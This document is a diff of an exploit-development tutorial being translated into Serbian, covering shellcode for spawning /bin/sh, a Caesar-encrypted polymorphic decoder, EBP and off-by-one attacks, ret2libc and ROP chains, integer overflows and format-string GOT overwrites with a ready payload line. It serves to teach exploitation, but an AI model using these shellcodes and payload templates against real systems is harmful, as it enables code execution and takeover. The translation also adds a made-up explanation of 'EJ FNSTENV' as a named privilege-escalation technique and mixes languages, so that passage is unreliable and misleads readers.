OpCodes - -**Comprobar que la shellcode funciona** +**nasm -f elf assembly.asm** —> Vraća .o datoteku\ +**ld assembly.o -o shellcodeout** —> Daje izvršnu datoteku sastavljenu od asemblerskog koda i možemo izvući opkodove pomoću **objdump**\ +**objdump -d -Mintel ./shellcodeout** —> Da bismo videli da je to zaista naša shellcode i izvukli opkode +**Proverite da li shellcode radi** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” void main(){ - void (*fp) (void); - fp = (void *)shellcode; - fp(); +void (*fp) (void); +fp = (void *)shellcode; +fp(); } ``` +Da biste videli da li sistemski pozivi pravilno funkcionišu, trebate da kompajlirate prethodni program i sistemski pozivi trebaju biti prikazani u **strace ./PROGRAMA\_COMPILADO** -Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA\_COMPILADO** - -A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código. - -EJ **TRUCO (/bin/sh)**: +Prilikom kreiranja shellcode-a može se koristiti trik. Prva instrukcija je skok na poziv. Poziv poziva originalni kod i dodaje EIP na stek. Nakon instrukcije poziva, ubacili smo string koji nam je potreban, tako da sa tim EIP-om možemo pokazati na string i nastaviti izvršavanje koda. +PRIMER **TRICK (/bin/sh)**: ``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string @@ -129,15 +120,13 @@ leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”} leal 0xc(%esi), %edx ; arg3 = NULL int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL) xorl %ebx, %ebx ; ebx = NULL -movl %ebx, %eax +movl %ebx, %eax inc %eax ; Syscall 1 int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` - -**EJ usando el Stack(/bin/sh):** - +**Korišćenje Stack-a (/bin/sh):** ``` section .text global _start @@ -158,181 +147,179 @@ mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` - **EJ FNSTENV:** +EJ FNSTENV (Execute Jump Far Not Save Environment) je tehnika koja se koristi za iskorišćavanje ranjivosti u Linux operativnom sistemu. Ova tehnika se koristi za preuzimanje kontrole nad ciljanim sistemom. + +Kada se koristi EJ FNSTENV tehnika, napadač može da iskoristi ranjivost u ciljanom sistemu kako bi izvršio zlonamerni kod. Ova tehnika se često koristi za eskalaciju privilegija, omogućavajući napadaču da dobije superkorisničke privilegije na ciljanom sistemu. + +Da bi se izvršila EJ FNSTENV tehnika, napadač mora da pronađe ranjivost u ciljanom sistemu koja omogućava izvršavanje koda. Nakon toga, napadač može da iskoristi tu ranjivost kako bi preuzeo kontrolu nad sistemom. + +Važno je napomenuti da je EJ FNSTENV tehnika ilegalna i da se koristi samo u okviru etičkog hakovanja ili pentestiranja sistema uz dozvolu vlasnika sistema. Upotreba ove tehnike bez dozvole može imati ozbiljne pravne posledice. ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` +**Egg Hunter:** -**Egg Huter:** +Ovo je mali kod koji pretražuje stranice memorije povezane sa procesom u potrazi za shellcode-om koji je tamo spremljen (traži neki potpis koji je postavljen u shellcode-u). Korisno u slučajevima kada imate samo malo prostora za ubrizgavanje koda. -Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código. - -**Shellcodes polimórficos** - -Consisten el shells cifradas que tienen un pequeño códigos que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**: +**Polimorfni shellkodovi** +To su šifrirani shellkodovi koji imaju mali kod koji ih dešifruje i skoči na njega, koristeći trik Call-Pop. Evo jednog primjera šifriranog Cezarovog šifriranja: ``` global _start _start: - jmp short magic +jmp short magic init: - pop esi - xor ecx, ecx - mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) +pop esi +xor ecx, ecx +mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) desc: - sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) - sub cl, 1 - jnz desc - jmp short sc +sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) +sub cl, 1 +jnz desc +jmp short sc magic: - call init +call init sc: - ;Aquí va el shellcode +;Aquí va el shellcode ``` +1. **Napad na Frame Pointer (EBP)** -1. **Atacando el Frame Pointer (EBP)** - -Útil en una situación en la que podemos modificar el EBP pero no el EIP. - -Se sabe que al salir de una función se ejecuta el siguente código ensamblador: +Koristan u situaciji kada možemo izmeniti EBP, ali ne i EIP. +Poznato je da se prilikom izlaska iz funkcije izvršava sledeći asemblerski kod: ``` movl %ebp, %esp popl %ebp ret ``` +Na ovaj način, može se promeniti EBP prilikom izlaska iz funkcije (fvuln) koja je pozvana iz druge funkcije, tako da kada funkcija koja je pozvala fvuln završi, njen EIP može biti promenjen. -De esta forma, si se puede modificar el EBP al salir de una función (fvuln) que ha sido llamada por otra función, cuando la función que llamó a fvuln finalice, su EIP puede ser modificado. - -En fvuln se puede introducir un EBP falso que apunte a un sitio donde esté la direcciónd e la shellcode + 4 (hay que sumarle 4 por el pop). Así, al salir de la función, se meterá en ESP el valor de &(\&Shellcode)+4, con el pop se le restará 4 al ESP y este apuntará a la dirección de la shellcode cuando se ejcute el ret. +U fvuln se može uneti lažni EBP koji pokazuje na mesto gde se nalazi adresa shellcode + 4 (treba dodati 4 zbog pop). Na taj način, prilikom izlaska iz funkcije, vrednost &(\&Shellcode)+4 će biti smeštena u ESP, sa pop će se oduzeti 4 od ESP i on će pokazivati na adresu shellcode kada se izvrši ret. **Exploit:**\ -\&Shellcode + "AAAA" + SHELLCODE + relleno + &(\&Shellcode)+4 +\&Shellcode + "AAAA" + SHELLCODE + padding + &(\&Shellcode)+4 **Off-by-One Exploit**\ -Se permite modificar tan solo el byte menos significativo del EBP. Se puede llevar a cabo un ataque como el anterior pero la memoria que guarda la dirección de la shellcode debe compartir los 3 primeros bytes con el EBP. +Dozvoljava se samo promena najmanje značajnog bajta EBP-a. Može se izvesti napad kao i prethodni, ali memorija koja čuva adresu shellcode-a mora deliti prva 3 bajta sa EBP-om. -## **4. Métodos return to Libc** +## **4. Metode povratka na Libc** -Método útil cuando el stack no es ejecutable o deja un buffer muy pequeño para modificar. +Koristan metod kada stek nije izvršiv ili ostavlja vrlo malo prostora za modifikaciju. -El ASLR provoca que en cada ejecución las funciones se carguen en posiciones distintas de la memoria. Por lo tanto este método puede no ser efectivo en ese caso. Para servidores remotos, como el programa está siendo ejecutado constantemente en la misma dirección sí puede ser útil. +ASLR uzrokuje da se funkcije učitavaju na različite pozicije u memoriji pri svakom izvršavanju. Stoga ovaj metod može biti neefikasan u tom slučaju. Za udaljene servere, budući da se program stalno izvršava na istoj adresi, ovaj metod može biti koristan. -* **cdecl(C declaration)** Mete los argumentos en el stack y tras salir de la función limpia la pila -* **stdcall(standard call)** Mete los argumentos en la pila y es la función llamada la que la limpia -* **fastcall** Mete los dos primeros argumentos en registros y el resto en la pila +* **cdecl (C deklaracija)** Stavlja argumente na stek i nakon izlaska iz funkcije čisti stek +* **stdcall (standardni poziv)** Stavlja argumente na stek i funkcija koja je pozvana čisti stek +* **fastcall** Stavlja prva dva argumenta u registre, a ostale na stek -Se pone la dirección de la instrucción system de libc y se le pasa como argumento el string “/bin/sh”, normalmente desde una variable de entorno. Además, se usa la dirección a la función exit para que una vez que no se requiera más la shell, salga el programa sin dar problemas (y escribir logs). +Postavlja se adresa system instrukcije iz libc-a i prosleđuje se kao argument string "/bin/sh", obično iz okoline. Takođe se koristi adresa exit funkcije kako bi se program bez problema završio kada više nije potrebna shell (i zapisivanje logova). **export SHELL=/bin/sh** -Para encontrar las direcciones que necesitaremos se puede mirar dentro de **GDB:**\ +Da biste pronašli potrebne adrese, možete pogledati unutar **GDB-a:**\ **p system**\ **p exit**\ -**rabin2 -i ejecutable** —> Da la dirección de todas las funciones que usa el programa al cargarse\ -(Dentro de un start o algun breakpoint): **x/500s $esp** —> Buscamos dentro de aqui el string /bin/sh +**rabin2 -i izvršna_datoteka** —> Daje adresu svih funkcija koje program koristi pri učitavanju\ +(Unutar starta ili nekog prekida): **x/500s $esp** —> Tražimo unutar ovoga string /bin/sh -Una vez tengamos estas direcciones el **exploit** quedaría: +Kada imamo ove adrese, **exploit** bi izgledao ovako: -“A” \* DISTANCIA EBP + 4 (EBP: pueden ser 4 "A"s aunque mejor si es el EBP real para evitar fallos de segmentación) + Dirección de **system** (sobreescribirá el EIP) + Dirección de **exit** (al salir de system(“/bin/sh”) se llamará a esta función pues los primero 4bytes del stack son tratados como la siguiente dirección del EIP a ejecutar) + Dirección de “**/bin/sh**” (será el parámetro pasado a system) +"A" \* DISTANCA EBP + 4 (EBP: mogu biti 4 "A" ali bolje je ako je pravi EBP da se izbegnu segmentacijske greške) + Adresa **system** (prepisuje EIP) + Adresa **exit** (nakon izvršavanja system("/bin/sh") ova funkcija će se pozvati jer su prva 4 bajta na steku tretirana kao sledeća adresa EIP-a koja će se izvršiti) + Adresa "**/bin/sh**" (biće prosleđen parametar system-u) -De esta forma el EIP se sobreescribirá con la dirección de system la cual recibirá como parámetro el string “/bin/sh” y al salir de este ejecutará la función exit(). +Na ovaj način će se EIP prepisati adresom system koja će primiti string "/bin/sh" kao argument, a nakon izlaska iz toga izvršiće se funkcija exit(). -Es posible encontrarse en la situación de que algún byte de alguna dirección de alguna función sea nulo o espacio (\x20). En ese caso se pueden desensamblar las direcciones anteriores a dicha función pues probablemente haya varios NOPs que nos permitan poder llamar a alguno de ellos en vez de a la función directamente (por ejemplo con > x/8i system-4). +Moguće je da se nađete u situaciji da je neki bajt neke adrese neaktivan ili prazan (\x20). U tom slučaju možete dezasemblirati prethodne adrese do te funkcije jer će verovatno biti nekoliko NOP-ova koji će nam omogućiti da pozovemo neki od njih umesto same funkcije (na primer sa > x/8i system-4). -Este método funciona pues al llamar a una función como system usando el opcode **ret** en vez de **call**, la función entiende que los primeros 4bytes serán la dirección **EIP** a la que volver. +Ovaj metod funkcioniše jer kada se funkcija kao što je system poziva koristeći opcode **ret** umesto **call**, funkcija shvata da će prva 4 bajta biti adresa **EIP** na koju će se vratiti. -Una técnica interesante con este método es el llamar a **strncpy()** para mover un payload del stack al heap y posteriormente usar **gets()** para ejecutar dicho payload. +Interesantna tehnika sa ovim metod je pozivanje **strncpy()** da bi se prebacio payload sa steka na hip i zatim koristio **gets()** da se izvrši taj payload. -Otra técnica interesante es el uso de **mprotect()** la cual permite asignar los permisos deseados a cualquier parte de la memoria. Sirve o servía en BDS, MacOS y OpenBSD, pero no en linux(controla que no se puedan otorgar a la vez permisos de escritura y ejecución). Con este ataque se podría volver a configurar la pila como ejecutable. +Još jedna interesantna tehnika je korišćenje **mprotect()** koja omogućava dodeljivanje željenih dozvola bilo kojem delu memorije. Radi ili je radila na BDS-u, MacOS-u i OpenBSD-u, ali ne i na Linuxu (kontroliše da ne može biti dodeljeno istovremeno pisanje i izvršavanje). Pomoću ovog napada moglo bi se ponovo konfigurisati izvršavanje steka. -**Encadenamiento de funciones** +**Povezivanje funkcija** -Basándonos en la técnica anterior, esta forma de exploit consiste en:\ -Relleno + \&Función1 + \&pop;ret; + \&arg\_fun1 + \&Función2 + \&pop;ret; + \&arg\_fun2 + … +Na osnovu prethodne tehnike, ovaj oblik exploit-a sastoji se od:\ +Padding + \&Funkcija1 + \&pop;ret; + \&arg\_fun1 + \&Funkcija2 + \&pop;ret; + \&arg\_fun2 + ... -De esta forma se pueden encadenar funciones a las que llamar. Además, si se quieren usar funciones con varios argumentos, se pueden poder los argumentos necesarios (ej 4) y poner los 4 argumentos y buscar dirección a un sitio con opcodes: pop, pop, pop, pop, ret —> **objdump -d ejecutable** +Na ovaj način mogu se povezati funkcije koje će biti pozvane. Takođe, ako želite koristiti funkcije sa više argumenata, možete postaviti potrebne argumente (npr. 4) i postaviti 4 argumenta i pronaći adresu sa opcodima: pop, pop, pop, pop, ret —> **objdump -d izvršna_datoteka** -**Encadenamiento mediante falseo de frames (encadenamiento de EBPs)** +**Povezivanje putem lažnih okvira (povezivanje EBPa)** -Consiste en aprovechar el poder manipular el EBP para ir encadenando la ejecución de varias funciones a través del EBP y de "leave;ret" +Ovo se sastoji od iskorišćavanja mogućnosti manipulacije EBP-om kako bi se povezalo izvršavanje više funkcija putem EBP-a i "leave;ret" -RELLENO +PADDING -* Situamos en el EBP un EBP falso que apunta a: 2º EBP\_falso + la función a ejecutar: (\&system() + \&leave;ret + &“/bin/sh”) -* En el EIP ponemos de dirección una función &(leave;ret) +* Postavljamo lažni EBP u EBP koji pokazuje na: 2. lažni EBP + funkcija za izvršavanje: (\&system() + \&leave;ret + &"/bin/sh") +* U EIP postavljamo adresu funkcije &(leave;ret) -Iniciamos la shellcode con la dirección a la siguiente parte de la shellcode, por ej: 2ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/sh” +Pokrećemo shellcode sa adresom sledećeg dela shellcode-a, na primer: 2. lažni EBP + \&system() + &(leave;ret;) + &"/bin/sh" -el 2ºEBP sería: 3ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/ls” +2. lažni EBP bi bio: 3. lažni EBP + \&system() + &(leave;ret;) + &"/bin/ls" -Esta shellcode se puede repetir indefinidamente en las partes de memoria a las que se tenga acceso de forma que se conseguirá una shellcode fácilmente divisible por pequeños trozos de memoria. +Ovaj shellcode se može ponavljati beskonačno puta na delovima memorije do kojih se ima pristup, tako da se dobija shellcode koji se lako deli na male delove memorije. -(Se encadena la ejecución de funciones mezclando las vulnerabilidades vistas anteriormente de EBP y de ret2lib) +(Izvršavanje funkcija se povezuje mešanjem ranije viđenih ranjivosti EBP-a i ret2lib) -## **5.Métodos complementarios** +## **5. Dodatne metode** **Ret2Ret** -Útil para cuando no se puede meter una dirección del stack en el EIP (se comprueba que el EIP no contenga 0xbf) o cuando no se puede calcular la ubicación de la shellcode. Pero, la función vulnerable acepte un parámetro (la shellcode irá aquí). +Koristan kada nije moguće staviti adresu sa steka u EIP (proverava se da EIP ne sadrži 0xbf) ili kada nije moguće izračunati lokaciju shellcode-a. Ali, ranjiva funkcija prihvata jedan parametar (shellcode će biti ovde). -De esta forma, al cambiar el EIP por una dirección a un **ret**, se cargará la siguiente dirección (que es la dirección del primer argumento de la función). Es decir, se cargará la shellcode. +Na ovaj način, menjanjem EIP-a sa adresom **ret**, učitaće se sledeća adresa (koja je adresa prvog argumenta funkcije). Drugim rečima, učitaće se shellcode. -El exploit quedaría: SHELLCODE + Relleno (hasta EIP) + **\&ret** (los siguientes bytes de la pila apuntan al inicio de la shellcode pues se mete en el stack la dirección al parámetro pasado) - -Al parecer funciones como **strncpy** una vez completas eliminan de la pila la dirección donde estaba guardada la shellcode imposibilitando esta técnica. Es decir, la dirección que pasan a la función como argumento (la que guarda la shellcode) es modificada por un 0x00 por lo que al llamar al segundo **ret** se encuentra con un 0x00 y el programa muere. +Exploit bi izgledao ovako: SHELLCODE + Padding (do EIP-a) + **\&ret** (sledeći bajtovi na steku pokazuju na početak shellcode-a jer se na stek stavlja adresa prosleđenog parametra) +Izgleda da funkcije poput **strncpy** nakon završetka brišu sa steka adresu na kojoj je čuvan shellcode, što onemogućava ovu tehniku. Drugim rečima, adresa koju funkcija prosleđuje kao argument (ona koja čuva shellcode) se menja u 0x00, pa kada se pozove drugi **ret**, naiđe se na 0x00 i program se prekida. ``` - **Ret2PopRet** +**Ret2PopRet** ``` +Ako nemamo kontrolu nad prvom argumentu, ali imamo nad drugim ili trećim, možemo prepisati EIP sa adresom pop-ret ili pop-pop-ret, u zavisnosti od potrebe. -Si no tenemos control sobre el primer argumento pero sí sobre el segundo o el tercero, podemos sobreescribir EIP con una dirección a pop-ret o pop-pop-ret, según la que necesitemos. +**Muratova tehnika** -**Técnica de Murat** +Na Linuxu, svi programi se mapiraju počevši od 0xbfffffff. -En linux todos los progamas se mapean comenzando en 0xbfffffff +Gledajući kako se konstruiše stek novog procesa na Linuxu, može se razviti exploit tako da program bude pokrenut u okruženju koje ima samo jednu promenljivu - shellcode. Adresa ove promenljive se može izračunati kao: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode) -Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode) +Na ovaj način se lako dobija adresa gde se nalazi promenljiva okruženja sa shellcode-om. -De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode. +Ovo je moguće zahvaljujući funkciji execle koja omogućava kreiranje okruženja koje ima samo željene promenljive okruženja. -Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen +**Skok na ESP: Windows stil** -**Jump to ESP: Windows Style** +Budući da ESP uvek pokazuje na početak steka, ova tehnika se sastoji od zamene EIP sa adresom poziva na **jmp esp** ili **call esp**. Na ovaj način, shellcode se čuva nakon prepisivanja EIP jer će se nakon izvršavanja **ret** ESP nalaziti na sledećoj adresi, tačno gde je shellcode sačuvan. -Debido a que el ESP está apuntando al comienzo del stack siempre, esta técnica consiste con sustituir el EIP con la dirección a una llamada a **jmp esp** o **call esp**. De esta forma, se guarda la shellcode después de la sobreescritura del EIP ya que después de ejecutar el **ret** el ESP se encontrará apuntando a la dirección siguiente, justo donde se ha guardado la shellcode. +U slučaju da ASLR nije aktiviran na Windowsu ili Linuxu, može se pozvati **jmp esp** ili **call esp** koji su smešteni u nekom deljenom objektu. Ako je ASLR aktiviran, može se potražiti unutar samog ranjivog programa. -En caso de que no se tenga el ASLR activo en Windows o Linux se puede llamar a **jmp esp** o **call esp** almacenadas en algún objeto compartido. En caso de que esté el ASLR, se podría buscar dentro del propio programa vulnerable. +Takođe, činjenica da se shellcode može postaviti nakon korupcije EIP-a umesto u sredini steka omogućava da push ili pop instrukcije koje se izvršavaju u sredini funkcije ne dodiruju shellcode (što bi se moglo dogoditi ako bi se postavio u sredinu steka funkcije). -Además, el hecho de poder colocar la shellcode después de la corrupción del EIP en vez de en medio del stack, permite que las instrucciones push o pop que se ejecuten en medio de la función no lleguen a tocar la shellcode (cosa que podría ocurrir en caso de ponerse en medio del stack de la función). +Na vrlo sličan način, ako znamo da funkcija vraća adresu gde je shellcode sačuvan, može se pozvati **call eax** ili **jmp eax (ret2eax).** -De forma muy similar a esto si sabemos que una función devuelve la dirección donde está guardada la shellcode se puede llamar a **call eax** o **jmp eax (ret2eax).** +**ROP (Return Oriented Programming) ili pozajmljeni delovi koda** -**ROP (Return Oriented Programming) o borrowed code chunks** +Delovi koda koji se pozivaju nazivaju se gadgets. -Los trozos de código que se invocan se conocen como gadgets. +Ova tehnika se sastoji od povezivanja različitih poziva funkcija putem tehnike **ret2libc** i korišćenja **pop,ret**. -Esta técnica consiste en encadenar distintas llamadas a funciones mediante la técnica de **ret2libc** y el uso de **pop,ret**. +Na nekim arhitekturama procesora, svaka instrukcija je skup od 32 bita (npr. MIPS). Međutim, na Intelu su instrukcije promenljive veličine i više instrukcija može deliti skup bitova, na primer: -En algunas arquitecturas de procesadores cada instrucción es un conjunto de 32bits (MIPS por ej). Sin embargo, en Intel las instrucciones son de tamaño variable y varias instrucciones pueden compartir un conjunto de bits, por ejemplo: +**movl $0xe4ff, -0x(%ebp)** —> Sadrži bajtove 0xffe4 koji se takođe prevode kao: **jmp \*%esp** -**movl $0xe4ff, -0x(%ebp)** —> Contiene los bytes 0xffe4 que también se traducen por: **jmp \*%esp** +Na ovaj način se mogu izvršiti neke instrukcije koje čak nisu ni u originalnom programu. -De esta forma se pueden ejecutar algunas instrucciones que realmente ni si quiera está en el programa original +**ROPgadget.py** nam pomaže da pronađemo vrednosti u binarnim fajlovima. -**ROPgadget.py** nos ayuda a encontrar valores en binarios +Ovaj program takođe služi za kreiranje **payload-a**. Možete mu dati biblioteku iz koje želite izvući ROP-ove i on će generisati payload u Pythonu, gde mu samo dajete adresu na kojoj se ta biblioteka nalazi i payload je spreman za upotrebu kao shellcode. Osim toga, pošto koristi sistemski pozive, ne izvršava ništa stvarno na steku, već samo čuva adrese ROP-ova koje će se izvršiti putem **ret** instrukcije. Da biste koristili ovaj payload, morate pozvati payload putem **ret** instrukcije. -Este programa también sirve para crear los **payloads**. Le puedes dar la librería de la que quieres sacar los ROPs y él generará un payload en python al cual tu le das la dirección en la que está dicha librería y el payload ya está listo para ser usado como shellcode. Además, como usa llamadas al sistema no ejecuta realmente nada en el stack sino que solo va guardando direcciones de ROPs que se ejecutarán mediante **ret**. Para usar este payload hay que llamar al payload mediante una instrucción **ret**. - -**Integer overflows** - -Este tipo de overflows se producen cuando una variable no está preparada para soportar un número tan grande como se le pasa, posiblemente por una confusión entre variables con y sin signo, por ejemplo: +**Prekoračenje celobrojnih vrednosti** +Ova vrsta prekoračenja se javlja kada promenljiva nije spremna da podrži tako veliki broj koji joj se prosleđuje, možda zbog zabune između promenljivih sa i bez znaka, na primer: ```c #include #include @@ -357,25 +344,23 @@ printf("\nIntento de hack\n"); return 0; } ``` +U prethodnom primeru vidimo da program očekuje 2 parametra. Prvi je dužina sledećeg niza, a drugi je niz. -En el ejemplo anterior vemos que el programa se espera 2 parámetros. El primero la longitud de la siguiente cadena y el segundo la cadena. +Ako prosledimo negativan broj kao prvi parametar, dobićemo da je len < 256 i proći ćemo taj filter, a takođe će strlen(buffer) biti manji od l, jer je l unsigned int i biće veoma velik. -Si le pasamos como primer parámetro un número negativo saldrá que len < 256 y pasaremos ese filtro, y además también strlen(buffer) será menor que l, pues l es unsigned int y será muy grande. +Ova vrsta prekoračenja ne pokušava da nešto napiše u procesu programa, već da prevaziđe loše dizajnirane filtere kako bi iskoristila druge ranjivosti. -Este tipo de overflows no busca lograr escribir algo en el proceso del programa, sino superar filtros mal diseñados para explotar otras vulnerabilidades. +**Nepočetne promenljive** -**Variables no inicializadas** +Nije poznata vrednost koju može imati nepočetna promenljiva i može biti interesantno posmatrati je. Može se desiti da uzme vrednost koju je uzela promenljiva iz prethodne funkcije i da je kontrolira napadač. -No se sabe el valor que puede tomar una variable no inicializada y podría ser interesante observarlo. Puede ser que tome el valor que tomaba una variable de la función anterior y esta sea controlada por el atacante. +## **Formatiranje stringova** -## **Format Strings** +U C-u, **`printf`** je funkcija koja se može koristiti za **ispisivanje** nekog stringa. **Prvi parametar** koji ova funkcija očekuje je **sirovi tekst sa formatiranjem**. **Sledeći parametri** koji se očekuju su **vrednosti** koje će **zameniti formatere** iz sirovog teksta. -In C **`printf`** is function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text. - -The vulnerability appears when an **attacker text is put as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to **write any data in any address**. Being able this way to **execute arbitrary code**. - -Fomatters: +Ranjivost se javlja kada **napadačev tekst bude postavljen kao prvi argument** ovoj funkciji. Napadač će moći da kreira **poseban unos zloupotrebom mogućnosti formatiranja printf-a** kako bi **upisao bilo koje podatke na bilo koju adresu**. Na taj način će biti u mogućnosti da **izvrši proizvoljni kod**. +Formati: ```bash %08x —> 8 hex bytes %d —> Entire @@ -385,64 +370,61 @@ Fomatters: %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` - -**`%n`** **writes** the **number of written bytes** in the **indicated address. Writing** as much **bytes** as the hex number we **need** to write is how you can **write any data**. - +**`%n`** **upisuje** **broj upisanih bajtova** na **naznačenoj adresi. Upisivanje** toliko **bajtova** koliko je heksadecimalni broj koji **želimo** da upišemo je način da **upišemo bilo koje podatke**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` +### GOT (Globalna tabela ofseta) / PLT (Tabela vezivanja postupaka) -### GOT (Global Offsets Table) / PLT (\*\*Procedure Linkage Table) +Ovo je tabela koja sadrži **adresu** **spoljnih funkcija** koje koristi program. -This is the table that contains the **address** to the **external functions** used by the program. - -Get the address to this table with: **`objdump -s -j .got ./exec`** +Dobijte adresu ove tabele sa: **`objdump -s -j .got ./exec`** ![](<../../.gitbook/assets/image (619).png>) -Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xDIR_GOT` +Primetite kako nakon **učitavanja** izvršnog fajla u GEF-u možete **videti** funkcije koje se nalaze u GOT-u: `gef➤ x/20x 0xDIR_GOT` -![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) +![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) -Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: +Koristeći GEF, možete **pokrenuti** sesiju **debugovanja** i izvršiti **`got`** da biste videli got tabelu: ![](<../../.gitbook/assets/image (621).png>) -In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this exploit is to **override the GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function**. Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function). +U binarnom fajlu GOT ima **adrese funkcija ili** odeljak **PLT** koji će učitati adresu funkcije. Cilj ovog napada je **zamena unosa u GOT-u** funkcije koja će biti izvršena kasnije **sa** adresom PLT-a **`system`** **funkcije**. Idealno, zamena će se desiti u GOT-u funkcije koja će biti **pozvana sa parametrima koje kontrolišete** (tako da ćete moći da kontrolišete parametre poslate funkciji system). -If **`system`** **isn't used** by the script, the system function **won't** have an entry in the GOT. In this scenario, you will **need to leak first the address** of the `system` function. +Ako **`system`** **nije korišćen** u skripti, funkcija system **neće** imati unos u GOT-u. U ovom scenariju, **prvo ćete morati da otkrijete adresu** funkcije `system`. -**Procedure Linkage Table** is a **read only** table in ELF file that stores all necessary **symbols that need a resolution**. When one of these functions are called the **GOT** will **redirect** the **flow** to the **PLT** so it can **resolve** the **address** of the function and write it on the GOT.\ -Then, the **next time** a call is performed to that address the **function** is **called directly** without needing to resolve it. +**Tabela vezivanja postupaka** je **samo za čitanje** tabela u ELF fajlu koja čuva sve neophodne **simbole koji zahtevaju razrešenje**. Kada se pozove jedna od ovih funkcija, **GOT** će **preusmeriti** **tok** na **PLT** kako bi mogao da **razreši** **adresu** funkcije i upiše je u GOT.\ +Zatim, **sledeći put** kada se pozove ta adresa, **funkcija** se **poziva direktno** bez potrebe za razrešenjem. -You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** +Možete videti adrese PLT-a sa **`objdump -j .plt -d ./vuln_binary`** -### **Exploit Flow** +### **Tok napada** -As explained before the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Ideally we could set the **address to a shellcode** located in a executable section, but highly probable you won't be able to write a shellcode in a executable section.\ -So a different option is to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**. +Kao što je objašnjeno ranije, cilj će biti **zamena adrese** funkcije u GOT tabeli koja će biti pozvana kasnije. Idealno bi bilo postaviti **adresu na shell kod** koji se nalazi u izvršnom odeljku, ali je vrlo verovatno da nećete moći da napišete shell kod u izvršnom odeljku.\ +Zato je druga opcija da **zamenite funkciju** koja **prima** svoje **argumente** od **korisnika** i **usmerite** je na **`system`** **funkciju**. -To write the address, usually 2 steps are done: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used. +Da biste napisali adresu, obično se koriste 2 koraka: Prvo **pišete 2 bajta** adrese, a zatim druga 2. Za to se koristi **`$hn`**. -**HOB** is called to the 2 higher bytes of the address\ -**LOB** is called to the 2 lower bytes of the address +**HOB** se odnosi na 2 viša bajta adrese\ +**LOB** se odnosi na 2 niža bajta adrese -So, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one. +Dakle, zbog toga kako format string radi, prvo morate **napisati manji** od \[HOB, LOB] i zatim drugi. -If HOB < LOB\ -`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` +Ako je HOB < LOB\ +`[adresa+2][adresa]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -If HOB > LOB\ -`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` +Ako je HOB > LOB\ +`[adresa+2][adresa]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB \`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\` -### **Format String Exploit Template** +### **Šablon za napad format stringom** -You an find a **template** to exploit the GOT 